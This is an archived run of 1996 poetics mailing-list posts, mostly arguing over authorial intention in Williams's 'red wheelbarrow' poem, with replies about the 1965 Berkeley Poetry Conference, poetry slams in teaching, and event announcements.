>say. Why not go with what I say?
>
"what the author is trying to say" - it bothers me too, now, but not for the
same reason. It bothers me because it's such a tired cliche. But to
try to answer your question... in a poem, like other forms
of communication, but sealed in writing, the author may be trying to say
about a dozen things at the same time. & sealing that in writing is not
so easy, may take some trying. Especially if you're trying to say things
that are not so obvious, if you're trying to say things in a new or forceful
way. Of course, the author may try to say these difficult things in a way
which seems fluent & easy - not so easy to do! Try & see! - Henry G

↑ Index

280. George Bowering
Re: red Indian barrow
Tue 20 Aug 1996

> *Addendum to previous post: I think you have to try to find out what the author is trying to say,*

As an "author", I am bothered by this. Why try to see what I am "trying" to say.
Why not go with what I say?

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]
e-mail: [redacted]

"The BAZOOKA is only for my understanding."
--Tristan Tzara

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281. Libbie Rifkin
Berkeley 1965
Tue 20 Aug 1996

Does anyone know whether there are "official" records of the proceedings of the Berkeley Poetry Conference of 1965? I've got the published transcript of Olson's speech, several anecdotal references from Ted Berrigan, and the usual mentions in literary historical accounts. Could anyone direct me to more

material on the event? Perhaps there are people on the list who were there who would like to share their experiences?

I'm interested in the tenor of the event as a whole--just how Zeitgeist-y it actually felt. I'm also particularly interested in the way Olson's speech was received, in whether and how Zukofsky (in his absence) played a role, and in Ed Dorn's talk on dead poets.

Any info would be great. Feel free to backchannel if this doesn't seem
fit for group discussion.
Libbie

↑ Index

282. **Michael Boughn**
Re: red Indian barrow
Tue 20 Aug 1996

Wow, an explication war. I was just looking for an issue of _The Explicator_.

Here's how WCW explains the poem in _Spring and All_:

> The fixed categories into which life is divided must
> always hold. These things are normal--essential to every activity.
> But they exist--but not as dead dissections.
> The curriculum of knowledge cannot but be divided into
> the sciences, the thousand and one groups of data, scientific,
> philosophic or whatnot--as many as there exist in
> Shakespeare--things that make him appear the university of all
> ages.
> But this is not the thing. In the galvanic category
> of--The same things exist, but in a different condition when
> energized by the imagination.

I think this is the final word on the damned poem, then--the wheelbarrow is a symbol for Shakespeare.

Hermeneutically,
Mike
[redacted]

↑ Index

283. william marsh
Re: The well-read Barrow
Tue 20 Aug 1996

At 02:23 PM 8/20/96 EDT, you wrote:
>On Tue, 20 Aug 1996 11:00:36 -0700 Carl Lynden Peters said:
>>i had a student last term comment that 'the red wheel barrow' was a sonnet!
>>i gave that student an A in the course for that. i'm just a dissertation
>>student. so what do i know!

carl -- 'the red wheel barrow' is as on net

can i get an "A" for that too?

bill

↑ Index

284. maria damon
conference fwd
Tue 20 Aug 1996

From: Center for Advanced Feminist Studies <[redacted]> Date: Tue, 20 Aug 1996 16:51:00 -0500 To: Multiple recipients of list CAFS-F2 <[redacted]> Subject: Frontline Feminisms conference

---------- Forwarded Message begins here ----------
From: [redacted] (Marguerite R. Waller)
Date: Sat, 17 Aug 96 17:33:35 -0500
To: [redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
Center for Advanced Feminist Studies <[redacted]>,
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[redacted],
[redacted],
EAST/[redacted],
[redacted],
[redacted],
[redacted],
[redacted]
Cc: [redacted] (Piya Chatterjee),
Cheryl Harmer <[redacted]>
Subject: Frontline Feminisms conference

Dear Friends, Please forgive the form letter nature of this communication. As Piya and I begin to map out the program of the Frontline Feminisms conference, I just wanted to thank all of you for your interest and to say that if you have not yet had a chance to send us a proposal and want to, we would like to have something by the end of next week. A paragraph to a page would be fine. You can send it by fax ([redacted]), email, or snail mail (Dept. of Women's Studies, UC Riverside, Riverside, CA 92521). If we have already discussed submitting a proposal in early September, I have duly noted this. If you need more information, send a message to [redacted].

At the same time, please take the opportunity to tell us whether and what kind of financial help you might need to attend the conference.

We will make several kinds of lodging available including hotels, dormatory rooms, and the homes of hospitable community members. The airport serving Riverside most immediately is Ontario. Further details concerning transportation, housing, registration etc. will be forthcoming.

Everyday seems to bring exciting news about the way the conference is shaping up. Several publishers are interested in publishing the proceedings, and we are exploring a recent offer to have the conference audio-taped with radio tie-ins.

We will keep you posted, and please feel free to contact any of us at any time.

Sincerely, Margie Waller, Center for Women in Coalition

Marguerite R. Waller, Chair
Women's Studies Department

---------- Forwarded Message ends here ----------

Karen Moon, Administrative Aide
Center for Advanced Feminist Studies, University of MN
496 Ford Hall/224 Church St. SE
Minneapolis, MN 55455
phone: [redacted]
fax: [redacted]

↑ Index

285. Tony Green
Re: George Starbuck
Tue 20 Aug 1996

But 26 AND a poet published in a book is young enough.

Tony Green,
e-mail: [redacted]

↑ Index

286. Walter K. Lew
Re: conference fwd
Tue 20 Aug 1996

Maria-
Is that the same M. Waller who taught us Dante at Amherst?

WLK888

↑ Index

287. **Tony Green**
Re: red Indian barrow
Tue 20 Aug 1996

There is nothing in the poem, shining or otherwise.

There are no things. The things are in the place where
the words are heard as saying something
 to do with
some things.

The "intention" is unknowable; the
various effects are all you can get.
 How
 the rhetoric results in the read effects is
a matter for attention -- even though these
effects are particular to this one piece.

 It's the only way to understand what happens to
 the reader as the reader reads.

The "intention" comes down to
 the varied possibilities opened
 by the text.
                You might say that a certain breadth
of possibility was the "intention" since that was the
 way the writer had it put in print.

 I'd look at it as more
a question of the use
of the poem, rather than the comm-
unication of the thought of the author
 concealed behind the poem.

Besides it's obvious as a doctor, Williams, with that red and white, was really thinking about red and white blood corpuscles.

best

Tony Green,
e-mail: [redacted]

↑ Index

288. **Walter K. Lew**
Whoops
Tue 20 Aug 1996

Poetics list-- I meant to back-channel that question abt the Dante course to Maria. Whatever, I realize now that it had to be a different Waller who taught it, and, just to set the record straight, we weren't Amherst College students, but attending the course through the Five College system. Ho-hum.

WKL888

↑ Index

289. **George Bowering**
Re: red Indian barrow
Wed 21 Aug 1996

---

the author may be trying to say
>about a dozen things at the same time. & sealing that in writing is not
>so easy, may take some trying.

Maybe you are almost at something there; but I still cannot help but see a patronising attitude in remarks about what the author is "trying" to say. As if the critic or teacher knows more than the author, and the author is putting up a good effort. There there, nice try, little fellow. I like to see an author that really tries.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"The BAZOOKA is only for my understanding."

--Tristan Tzara

↑ Index

290. **George Bowering**
Re: red Indian barrow
Wed 21 Aug 1996

> *Besides it's obvious as a doctor, Williams, with that red and white, was really thinking about red and white blood corpuscles.*
>
> *Tony Green,*

No, no, no. You will remember back before you and I were born, barbers were also surgeons--hence the white and red barber's pole. Williams the doctor was thinking about getting a haircut, and came upon this poem. The barber always asked him how he wanted the sides, and you have seen pictures of WCW. He always said, "Oh, bare," which said backward is of course "barrow."

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"The BAZOOKA is only for my understanding."

--Tristan Tzara

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291. Christina Fairbank Chirot

imagination affirms reality

Wed 21 Aug 1996

"No ideas but in things."

What ideas may be in a "red wheel/barrow"

Olson: "istorin: to find out for oneself".

WCW, Spring and All:

Either to write or comprehend poetry the words must be recognized to be moving in a direction separate from the jostling or lack of it which occurs within the piece.

What direction might "a red wheel/barrow" move?

WCW:

As birds' wings beat the solid air without which none could fly so words affirm reality by their flight.

"No ideas but in things"--"to find out for oneself"--"to be moving in a direction separate . . .from the piece"--"words affirm reality by their flight".

To read may be an act of the imagination that affirms the reality of the poem. To "find out for oneself", Olson's definition of history--which WCW does in In the American Grain.

WCW: What difference is it whether Make the words or take the words. It makes no difference whatever.

Pascal: It is not the elements which are new, but the order of their arrangement.

The rain water glazing the red wheel barrow. Think of how often in WCW water is on what he sees--and how often each day as a dcotor he washed his hands--how seeing and touch in WCW are interelated, yet he is not interested in "holding on to" things:

From The Descent of Winter:

I make really very little money.
What of it?
I prefer the grass with the rain on it
the short grass before my headlights
when I am turning the car--
a degenerate trait, no doubt.
It would ruin England.

For proof look up,
And read
Where thou art

--Ronald Johnson, Radi Os

to open & to find out, to affirm reality & imagination

--dave baptiste chirot

↑ Index

292. Ron Silliman

Re: POETICS Digest - 19 Aug 1996 to 20 Aug 1996

Wed 21 Aug 1996

Dear Libbie,

I would suspect that the Bancroft Library on the UC campus would have whatever "official" records there might be. Duncan was the poetry consultant to the rare books collection there (which is how they got some of those great Spicer letter/newspapers, for example). The fellow who actually coordinated it, Richard Baker, old MBA grad out of Harvard, went on to become Richard Baker-roshi, head of the SF Zen Center for many years, now somewhere in the southwest I believe. I doubt he did much in the way of archival stuff -- that's not his way.

I was 18 at the time, basically unaware of the literary politics of the occasion (so that when Louis Simpson quit his job at UC and went public in the press with how that event showed that there was no place for his kind of writing in

the Bay Area, it came as a shock to read this in the Chronicle--maybe if Joyce Jenkins had been around in those days). I was challenged by the awesome price (which was something like $40 for the whole conference), so hung out around events more than at them. A poet I was hanging out with, Paul X (later Xavier), had some success seducing the best mind of a certain generation, so we got to go to several parties that seemed to be a very fluid extension of the event itself. It's those parties that stand out more now in my memory than any individual event, other than sitting on the stage for Ginsberg's reading which was packed to the rafters. I was surprised (for I was very new to this -- it may have been the first "major" reading I'd ever attended) that he read "new" work (to me at least) rather than the classics of eight and nine years earlier.

But the scandal of the Olson reading or the way in which Spicer was obviously ill at his reading (later reported in some depth in El Corno Emplumado, an excellent little mag out of Mexico City then edited by Margaret Randell and her husband) were lost on me. I sorta knew who Olson was, but had never heard of Spicer. I didn't discover Zukofsky until PBS did the TV show on him in 1966.

Had that event occurred one year later, it would have been a completely different one for me. Such is the narrative of actual events...

Ron Silliman
[redacted]

>Date: Tue, 20 Aug 1996 16:54:52 -0400
>From: Libbie Rifkin <[redacted]>
>Subject: Berkeley 1965
>
>Does anyone know whether there are "official" records of the
>proceedings of the Berkeley Poetry Conference of 1965? I've got the
>published transcript of Olson's speech, several anecdotal
>references from Ted Berrigan, and the usual mentions in literary
>historical accounts. Could anyone direct me to more material on the
>event? Perhaps there are people on the list who were there who would
like to share their experiences?
>
>I'm interested in the tenor of the event as a whole--just how
Zeitgeist-y it actually felt. I'm
>also particularly interested in the way Olson's speech was received,
in whether and how Zukofsky (in his absence) played a role, and in Ed
Dorn's talk on dead poets.
>
>Any info would be great. Feel free to backchannel if this doesn't seem
>fit for group discussion.

>Libbie
>
>----------

↑ Index

293. **Pierre Joris**
nice one, bob
Wed 21 Aug 1996

This week's issue of the national left-wing French weekly "Le Nouvel Observateur" has a 3-page spread on Bob Holman, subtitled "With the weapons of the enemy," doing a decent job of explaining the Nuyorican Poets Cafe, the "US of P" & Mouth Almighty, the cd venture. Nice photo, too. Plus an insert on Steve Cannon, "the angel of the Lower Eastside." Same issue has Regis Debray interviewing Benigno, one of the two survivors of the Che's Bolivian guerrilla -- both rather sour on Fidel, to say the least. -- Pierre

↑ Index

294. **henry**
Re: red Indian barrow
Wed 21 Aug 1996

On Tue, 20 Aug 1996 18:00:47 -0400 Michael Boughn said:
>I think this is the final word on the damned poem, then--the
>wheelbarrow is a symbol for Shakespeare.

Subtly drawing on the famous "graveside wheelbarrow" scene in Hamlet, when the Danish prince addresses the departed Yorick:

Alas, poor Yorick, I knew thee well!
Excellent spark, hale fellow and well met,
Now gone fore'er into the noodling dark
'Bysm--"

[Gravedigger whacks Hamlet behind the knees
with red wheelbarrow]

--what ho! Goes there I say! What,
Thou brutish sodman, ho!

Digger: M'lord, methought thy words so fitting
for yon hole, I'd aid thee with a bump, right into it.

Hamlet: Not yet unto the breach, my friend! [etc.]

↑ Index

295. **henry**
Re: red Indian barrow
Wed 21 Aug 1996

On Wed, 21 Aug 1996 15:39:48 GMT+1200 Tony Green said:
>There are no things. The things are in the place where
>the words are heard as saying something
> to do with
>some things.

Don't these 2 sentences contradict each other?
>
>The "intention" is unknowable; the
>various effects are all you can get.
> How
> the rhetoric results in the read effects is
>a matter for attention -- even though these
>effects are particular to this one piece.
>
> It's the only way to understand what happens to
> the reader as the reader reads.
>
>The "intention" comes down to
> the varied possibilities opened
> by the text.

Is this the standard way of reading poems now? Seems kind of self- limiting, despite the way it tries to make the text omni-vocal, depending on whatever the reader brings to it (SO MUCH DEPENDS!) But I would think that in order to appreciate all the "effects" of a poem, you'd want to try to hear from the author's place - from the motives & communications & craft background from which the author is coming. All the things that give you an approximation of intention, where the poet is moving. I agree with Dave Chirot that this is also limiting, that the words take off from both writer & listener in a new direction - but I think "where it's coming from" is also important. Looks like three large areas have been outlined: the author's intentions; the direction of the poem itself; & the varied responses it creates in the reader. - HG

↑ Index

296. **henry**
Re: red Indian barrow
Wed 21 Aug 1996

On Tue, 20 Aug 1996 23:27:48 -0700 George Bowering said:
> the author may be trying to say
>>about a dozen things at the same time. & sealing that in writing is not
>>so easy, may take some trying.
>
>Maybe you are almost at something there; but I still cannot help but see a
>patronising attitude in remarks about what the author is "trying" to say.
>As if the critic or teacher knows more than the author, and the author is
>putting up a good effort. There there, nice try, little fellow. I like to
>see an author that really tries.

Is it patronizing to assume an effort at something difficult & extremely hard to achieve? I think the reverse is true. Of course, if you put it in the imaginary context of a critic who then sets out to "explain" in a patronizing way what the author was trying to say, you're right. But I think it's taken for granted an explication is kind of a prose trot laying out in boring detail what the poem puts together in a miraculous conjunction like an elegant theorem which leads on & on beyond explications. & the elegance of the theorem is precisely in the tenuous balance the writer achieves by TRYING to say many things at once in a flying formation.

All said, however, I repeat what I said before also: you're right, "what the author is trying to say" is a terrible cliche which echoes down through ages of high school english classes. - Henry Gould

↑ Index

297. **Gwyn McVay**
Re: Stockhausen in New York
Wed 21 Aug 1996

A still-Grateful Deadhead exiled from NY and its radio reach asks wistfully: is anybody going to be taping this? Backchannel me and we can work out a handsome reward.

Hope is the thing with feathers,
Gwyn McVay

↑ Index

298. **maria damon**
Re: conference fwd
Wed 21 Aug 1996

In message <[redacted]> UB Poetics discussion
group writes:
> Maria-
> Is that the same M. Waller who taught us Dante at Amherst?
>
> WLK888

yeah, i think so; she went back and did film studies at some UC school, and then became a women's film studies person. teresa di lauretis started out as an italianist too. md

↑ Index

299. **Schuchat**
Re: imagination affirms reality
Wed 21 Aug 1996

---

red wheelbarrow is full of plums, plunging upon a moth

how much depends on
the pink church!

no one to drive the car

↑ Index

300. **Schuchat**
Re: red Indian barrow
Wed 21 Aug 1996

---

there's nothing sentimental about a machine

↑ Index

301. **maria damon**
Re: imagination affirms reality
Wed 21 Aug 1996

In message <[redacted]> UB Poetics discussion
group writes:
> red wheelbarrow is full of plums, plunging upon a moth
>
> how much depends on
> the pink church!

>
> no one to drive the car

I will I will;
how pink was my crutch
how red my barrow
you died for my touch
i will die for thee tomarrow.

↑ Index

302. **henry gould**
Re: red Indian barrow
Wed 21 Aug 1996

> *there's nothing sentimental about a machine*

I'm a little sentimental about my typewriter, a green one-of-a-kind (screw-up) Sears Constellation - & the feeling's mutual.

↑ Index

303. **Christina Fairbank Chirot**
Re: sentimental
Wed 21 Aug 1996

Re: sentimental

. . . but "since the world is hollow, and dollie's stuffed with sawdust," I really do not think we had better expose our feelings . . .

Emily Dickinson (to her brother Austin, 1851).

--dbc

↑ Index

304. **Jordan Davis**
August by Dan Bouchard
Wed 21 Aug 1996

Ange Mlinko's magazine Compound Eye has dedicated its most recent issue (#10) to a long poem by Dan Bouchard, called "August." It is a very good look at Boston, and as I read it I was reminded of the work of such poets as Charles Reznikoff, Frank O'Hara, Robert Lowell, Beverly Dahlen, the list could go on quite a while, but what are influences anyway? Ghosts? Do you believe in ghosts? Like Ange, Dan pays close attention to what's going on, to what he knows, and how to make it all go together. The poem's nine pages (fifteen sections), this is section twelve:

Muffled shouts of neighbors

Boston is dank
and dirty like a drained fish tank

Skateboard kids learn
their skateboard skill.

Boylston Street at five.

Someday anthropologists will discover the car alarm
and realize how ridiculous we are,
but they will note seeing-eye dogs
and know how ingenious we could be.

Stability or engineering
erring

The suitability street corner
of time

A place set

The dinner on the table

Ange is moving to Providence shortly, so probably the Compound Eye address (52 Park St, Somerville MA 02143) isn't durable. You can email me at [redacted] or Ange at [redacted] or Dan at [redacted] if you're interested in getting a copy.

Okay!
Jordan

Jordan Davis
46 E 7 # 10
NYC 10003
[redacted] "the brat guts aesthetic"
--Bob Perelman

↑ Index

305. Wendy McClure
Slams again; chicken in the classroom
Wed 21 Aug 1996

...if everyone can stand just a bit more tugging on the poetry slam thread (albeit hastily knotted to the teaching thread)...

> *i find mself asking, to what do we owe such unmitigated bravery?..."*

> *Umitigated bravery is easy when your preaching to the converted. An audience at a slam could not be more converted. It's easy to read some witty verse deriding the state of society to a group of sympathizers but take that same poem out onto the street corner with a megaphone and see where the bravery lies. When this starts happening, that is when it will get interesting.*
>
> *cf*

--just thinking about "unmitigated bravery" and "sympathizers," and also the extent to which confrontation figures into the currency of poetry slams --then to follow the notion of bravery (unmitigated and otherwise) amidst the already-converted, then to the unconverted... well, we might find the unconverted or the unsympathetic out on the street (as cf put it) but I couldn't help thinking of the classroom as well --not that I'm at all comfortable with the view of teaching poetry as missionary work but in my experience the feeling's been inevitable sometimes. While I'm all for the possibilities of slams, think they're a blast to attend, eagerly await evolving variations on the slam (as I've seen mentioned here) to show up in Chicago, any recs. anyone? ...still, I've noticed the double-standard a lot of students reveal when it comes to the reception of slam poetry and their receptiveness in the classroom --and the poetry I'm thinking of here is not so much the standard Norton stuff (from which slams provide a nice relief) but language and post-language and experimental work, in short, stuff which I consider in their issues and procedures to be confrontational --it seems a lot of the same students who go for the aggressive confrontation of slam poetry are the ones most resistant (or maybe not, maybe just the first ones to AGRESSIVELY voice their opinions, or else remain, like, passive-aggressively silent?) --or worse, they revert to easy dismissals (of pretentiousness, etc), for which I don't think slams are entirely responsible but I suspect in some instances tend to reinforce... anyway, hoping this is just an initial reaction on the students' part; when I've taught I've tried to put on a good show and likely have a performers' ego...

--WM (I've seen people sign w/ quotes so here's one re: the WCW disc.):

"I know my chicken,
you've got to know your
chicken."

--Cibo

Matto

↑ Index

306. Joseph Lease
Re: August by Dan Bouchard
Wed 21 Aug 1996

Re: Jordan on August by Dan Bouchard

--I think it's an extremely strong poem, very sharp with perception and rhythm--

--everyone should read it--

All Best,
Joseph

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307. Ira Lightman
Stockhausen in New York
Wed 21 Aug 1996

Hi folks,

As someone who's posted often to this
list about the poetics I think are
derivable from Stockhausen rather than
his contemporary Cage, here's a news
flash one-off (I won't do it again!)

ATTENTION NEW YORK STOCKHAUSEN FANS

From midnight August 22 until 5:00 am
August 23, WKCR-FM New York 89.9
will present the music of Karlheinz
Stockhausen for 29 uninterrupted hours
in celebration of his 68th birthday.
We will broadcast lengthy pieces such
as Hymnen, Kurzwellen, Sternklang
and Stimmung that regular programming
schedules do not permit etc. E-mail
[redacted] for info....

... transcribed from Stockhausen home
page.

Recommended!

Ira Lightman

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308. **maria damon**
Re: Slams again; chicken in the classroom
Wed 21 Aug 1996

---

wendy mcclure writes:
>
> --just thinking about "unmitigated bravery" and "sympathizers," and also the
> extent to which confrontation figures into the currency of poetry slams
> --then to follow the notion of bravery (unmitigated and otherwise) amidst the
> already-converted, then to the unconverted... well, we might find the
> unconverted or the unsympathetic out on the street (as cf put it) but I
> couldn't help thinking of the classroom as well --not that I'm at all
> comfortable with the view of teaching poetry as missionary work but in my
> experience the feeling's been inevitable sometimes. While I'm all for the
> possibilities of slams, think they're a blast to attend, eagerly await
> evolving variations on the slam (as I've seen mentioned here) to show up in
> Chicago, any recs. anyone? ...still, I've noticed the double-standard a lot
> of students reveal when it comes to the reception of slam poetry and their
> receptiveness in the classroom --and the poetry I'm thinking of here is not
> so much the standard Norton stuff (from which slams provide a nice relief)
> but language and post-language and experimental work, in short, stuff which
I
> consider in their issues and procedures to be confrontational --it seems a
> lot of the same students who go for the aggressive confrontation of slam
> poetry are the ones most resistant (or maybe not, maybe just the first ones
> to AGRESSIVELY voice their opinions, or else remain, like,
> passive-aggressively silent?) --or worse, they revert to easy dismissals (of
> pretentiousness, etc), for which I don't think slams are entirely
> responsible but I suspect in some instances tend to reinforce... anyway,
> hoping this is just an initial reaction on the students' part; when I've
> taught I've tried to put on a good show and likely have a performers' ego...
>
interesting thots. i used to have the same problem w/ resistance to langpo" in
the class room etc., and don't know why it's changed, maybe because i tend to
teach "women language poets" which gives a graspable ideological handle for
why
language must be challenged from the ground up; or maybe it's cuz i'm teach-
ing
more advanced undergrads for the most part. a lot of my students just like
anything oppositional, so long as they understand the terms of the
oppositionality. also, i teach folks like tracie morris and ntozake shange, who
are sort of "inbetween" cases, in that they definitely defamiliarize what

students have come to expect of "poetic language," and are challenging to listen as performers, but also have some discernible oratorical and vernacular tradition that bridge the gap between the wholly unfamiliar and the verbal simplicity of much "people's" poetry" and middlebrow stuff like frost, rich and sexton. also frank o'hara. some find his "cliquishness" to be "elitist" (minnesotans' favorite putdown) while others find it liberating to see what poetry can be and what constitutes legitimate material for poetic content.

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309. George Bowering
Re: red Indian barrow
Wed 21 Aug 1996

& the elegance of the theorem is precisely
>in the tenuous balance the writer achieves by TRYING to say many
>things at once in a flying formation.
. - Henry Gould

I guess we just have differing notions of where poems come from. I dont feel as if a poem is the evidence of something I am trying to say. In fact, during the composition of such a thing, I am not aware of my trying to say something; rather, I am trying to hear something, and get something down.

George Bowering.

"The BAZOOKA is only for my understanding."

--Tristan Tzara

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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310. henry
Re: red Indian barrow
Wed 21 Aug 1996

On Wed, 21 Aug 1996 11:25:58 -0700 George Bowering said:
>I guess we just have differing notions of where poems come from. I dont
>feel as if a poem is the evidence of something I am trying to say. In fact,
>during the composition of such a thing, I am not aware of my trying to say
>something; rather, I am trying to hear something, and get something down.

At least we're both trying. Probably very trying. - HG

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311. George Bowering
Re: red Indian barrow
Wed 21 Aug 1996

> *there's nothing sentimental about a machine*
>
> *I'm a little sentimental about my typewriter, a green one-of-a-kind (screw-up) Sears Constellation - & the feeling's mutual.*

Your typewriter doesnt have any feeling for you; it just thinks it has.

George Bowering.

"The BAZOOKA is only for my understanding."

--Tristan Tzara

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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312. Tony Green
Scandalous Olson at Berkeley?
Wed 21 Aug 1996

Dear Ron,

the position of eye-witness is shown to be what it is by your comment on the Berkeley Poetry Conference: dependent on the preparedness of the eye-witness.

Wystan gave me a copy of the original printing of the Olson reading, one that he had found in San Francisco in the 70's. Innocently, I had not realised -- until it was mentioned by you -- that there was any scandal attached to it. Far far from the action I had assumed that it was understood at the time and at the place.

It seemed to me to raise the question of what was the poem and what was the reading, where to draw the line. Was it the whole performance of the poet live on the platform. The kind of ruminating thought and the writing of poems in Olson's practice seemed to converge there. The cries of "read the poem" etc from audience seemed to speak to a confusion about what the condition of making poetry was, extending as it did there to a long improvisation, which from time to

time included the occasional reading of already written and printed products of this process. (Criticised and revised as a process in the Beloit lectures.) That was scandalous?

Although it does not coincide with practices of quertzblatz poetry of the later 70s and 80s, which appeared to prefer constructed texts to improvisation, does this practice of Olson's (as I understood it) seem to be scandalous anymore? To whom was it scandalous in 1965? Was it scandalous that the improvisations were critical and in a broad sense philosophical and sometimes commenting on politics and not in verse form, therefore "not poetry"? Would it be scandalous to the slammers?

best

Tony Green,
e-mail: [redacted]

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313. **Tony Green**
Re: red Indian barrow
Wed 21 Aug 1996

---

and he had a shampoo too, that's what the water is doing in the poem

Tony Green,
e-mail: [redacted]

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314. **Tony Green**
Re: red Indian barrow
Wed 21 Aug 1996

Henry, Re things and no things in red weel barrow poem(s) No contradiction, maybe a little paradox. The poem, is full and empty, made of words and spaces, not of things. The "things" are what you put into an image you make reading the poems. Even those are not things in any very secure sense. This is further proof of the difficulty of speaking adequately about representations, mediation and/or figuration. One way to handle that is to have regard both for the process of making a representation and the process of "reading" one, trying to maintain what clarity one can all the way. This is not made easier by using the term "things", but harder, as this exchange shows all too clearly.

Tony Green,
e-mail: [redacted]

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315. Tony Green
Re: red Indian barrow
Wed 21 Aug 1996

Henry, some more: "Is this standard way of reading poems now?" ---?@#%ed if I know. (How would I know, I don't read poems for a living? " Que scais-je? " with a cedilla.)

My business with this is
the common problem in the arts,
representation". What is the common
understanding then of reading/writing,
it is not moving through text?
t is not surprising that the figure of a "writer"
occurs to the reader
as a centre for coherence of text, but the "writer"
is limited to being a figure appearing to the reader.
Isn't that so? Dr Williams cannot
cure you of uncertainty as to the meaning of the text, I suppose.

But isn't it also the case that the "reader" is also a similar "figure", not a single centered "I", rather something called into existence by the text. Coping with the text, or not, is, in that case, a matter of how effectively you can be the necessary kind of "reader" figure to read that text.

This is how I figure it, but I suppose this is a complicated kind of answer for e-mail. And subject to really too many unanswered questions.

best

Tony Green,
e-mail: [redacted]

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316. Christina Fairbank Chirot
chickens
Wed 21 Aug 1996

> Hey! I thought that was Bob Dole's job, trashin teachers . . .
>
> A teacher can also teach you "to find out for yourself".
>
> It is not they duty to complete the work,
> nor art thou free to desist from it.
>
> Love work, hate mastery.
>
> --Rabbinical sayings

--dave baptiste chirot

↑ Index

317. Tony Green
Re: red Indian barrow
Wed 21 Aug 1996

George, "hearing something" and "getting it down" squares with my understanding of what goes on. I believe there is a confusion about purposes emerging (Henry's confusion, not yours, needless to say). There is a certain satisfaction in philosophically analytical writing in applying rhetoric to getting an argument made effectively. Reading that writing that does that, one asks all the time about the implications for an argument of what is being said, the significance and multiplicities and ambiguities of "words" meanign of words used as "counters" or "terms.

The poetries that aim to set down language (thought?) as it occurs are not usually so concerned with words as terms in an argument. Trying to read them as if they were, and taking the prose of analytical argument and communication as standard and universal produces Henry's sense that WCW in red wheel things has cunningly compressed a lot of argumentation or argumentative thinking.

Hi, Henry are you still there? best

Tony Green,
e-mail: [redacted]

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318. filch
Re: Slams again; chicken in the classroom
Wed 21 Aug 1996

Wendy writes

"...still, I've noticed the double-standard a lot of students reveal when it comes to the reception of slam poetry and their receptiveness in the classroom --and the poetry I'm thinking of here is not so much the standard Norton stuff (from which slams provide a nice relief) but language and post-language and experimental work, in short, stuff which I consider in their issues and procedures to be confrontational --it seems a lot of the same students who go for the aggressive confrontation of slam poetry are the ones most resistant (or maybe not, maybe just the first ones to AGRESSIVELY voice their opinions, or else remain, like, passive-aggressively silent?) --or worse, they revert to easy dismissals (of pretentiousness, etc), for which I don't think slams are entirely responsible but I suspect in some instances tend to reinforce..."

I think this is pretty straightforward. Following on the heels of the thread concerning red wheelbarrows and even the reference to the rap of Snap! it follows that the majority of teaching when it comes to the introduction of poetry in the United States at a young age comes through the filter of "this is what the poet is trying to say" and "this is the coding necessary to understand that poem". Both of these statements set in place the mindset and world view for both rap and slam poetry. Rap / slam has as one of its defining attributes an active hostility to the notion of coding. The defining attribute is IMHO narrative and any poem which subverts or too easily confuses the narrative thrust is suspect and falls beyond the pale for the genre of rap / slam.

The methodology of "this is what the poet is trying to say" and "this is the coding necessary to understand that poem" is disempowering to the reader and serves as the political springboard for rap / slam which has as its concern the destruction of this disempowerment. The case 'may' be accurately represented that once a child has gotten to the point where they are empowered with language and feeling 'in control' poetry is introduced in a manner which "disempowers" them by delegating control of the coding process to the authority figure of the teacher.

Crude rhyming and inelegant wordplay are quite often the 'language' point used to support the 'political' point of empowerment and releasing of rage because this complex serves as antidote to the aforementioned methodology. The points of empowerment follow closely the narrative thrust because it is neccessary to show that "you understand what's going on" despite assurances from the teacher (poetry), politician (society), preacher (spirituality), that "you don't know what's going on" unless you are given the key (i.e. coding). It follows as well that rhyming and alliteration, etc. are the tools employed because it is absolutely necessary that the tools of the oppressor - subjugation, rhyme, alliteration et al. be used to defeat those who would disempower 'you'.

Given this reading, IMHO, it makes perfect sense why langpo is received with hostility within the genre / world view of rap / slam.

yours until we bleed,
cf

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319. **Peter Quartermain**
Re: the well-read barrow yet again
Wed 21 Aug 1996

At 03:27 PM 8/20/96 EDT, Henry wrote:

> *in a poem, like other forms*
> *of communication, but sealed in writing, the author may be trying to say*
> *about a dozen things at the same time. & sealing that in writing is not*
> *so easy, may take some trying. Especially if you're trying to say things*
> *that are not so obvious,*

I may have missed a few posts on this, since this, Henry, but I think your phrasing here sure opens a can of worms.

1. I'm not at all persuaded that a poem is a "form of communication," -- or rather, I'm not at all sure what exactly "communication" might mean when it comes to poems -- not, I'd say, the sort of instrumental language of "Doctor, I get a pain just here when I put my left elbow in my Mouth" kind of thing, nor even that of "The whites have slaughtered the Indians" (not that anyone here, I know, has been suggesting this is the "theme" of that Indian Barrow). A poem is a machine made of words, I thought. Perhaps in the sense of Hamlet, to Ophelia, "Yours, whilst this machine is to him, Hamlet."

2. Ditto re "sealed in writing." This suggests, does it not, some sort of immutability to a "message" or "content" that the poem somehow, hmmm, "contains"? Or does "sealed" mean "hermetically" and therefore "inaccessibly" sealed?

3. My own reading practice involves -- at least in part and so far as I am able without being utterly pedantic about it (whatever pedantic means here -- probably means "until I can't be bothered any more") -- an attempt to "historicize" the text: for instance (though this is clearly a childish and utterly simplistic example) was "red" associated with revolution or with communism in 1921 when WCW wrote the poem (we all know the answer to that one, of course)? This is important to me because it's self-evident to me that I know "more" than the poet knew -- by "more" here I mean something as simple as "what the poet did not [and perhaps could not] know," and sometimes we (I) need to rescue the poem from our knowledge. The corollary is obvious: the poet knew "more" than I do..

At the same time, though, my own response when I read the poem -- especially but not only for the first time -- may or may not have anything to do with the actual compositional circumstance and history of the poem: the words say what they say. The first time I read any Jabes, for instance, I had no idea AT ALL who he was, thought he was possibly Spanish or even Biblical. And that image of him still sticks, willynilly, when I think of him / his work.

And what then is getting "communicated"? It seems to me that when Bruce Andrews writes, as a complete poem, "lost & found", he shows with great exactitude how what is "communicated" depends on the context of the hearer/reader as well as of the utterer/writer: meaning depends on context, I think Maria

